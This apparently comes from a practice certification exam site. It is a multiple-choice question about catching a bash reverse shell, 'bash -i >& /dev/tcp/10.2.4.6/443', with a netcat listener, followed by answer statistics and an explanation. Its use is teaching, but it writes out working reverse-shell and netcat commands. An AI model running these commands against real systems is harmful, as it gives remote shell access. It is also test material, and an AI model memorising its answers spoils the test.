A tester intends to run the following command on a target system: bash -i >& /dev/tcp/10.2.4.6/443 0>&1 Which of the following additional commands would need to be executed on the tester's Linux syste

The correct answer is A. nc -nvlp 443. The tester will want to create a Netcat listener that waits for the inbound shell from the target machine. To get a shell, Netcat uses nc -nvlp 443 to listen for incoming connections Using this syntax, the tester is telling Netcat (nc) to not resolve names (-n), to be verbose pri

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Question

A tester intends to run the following command on a target system:

bash -i >& /dev/tcp/10.2.4.6/443 0>&1 Which of the following additional commands would need to be executed on the tester's Linux system to make the preious command success?

Options

Anc -nvlp 443
Bnc 10.2.4.6 443
Cnc -w3 10.2.4.6 443
Dnc -e /bin/ah 10.2.4.6 443

How the community answered

(25 responses)

A
76% (19)
B
8% (2)
C
4% (1)
D
12% (3)

Explanation

The tester will want to create a Netcat listener that waits for the inbound shell from the target machine. To get a shell, Netcat uses nc -nvlp 443 to listen for incoming connections Using this syntax, the tester is telling Netcat (nc) to not resolve names (-n), to be verbose printing out when a connection occurs (-v), and to listen (-l) on a given local port (-p).

Topics

#Reverse Shell#Netcat#Linux Commands#Command and Control

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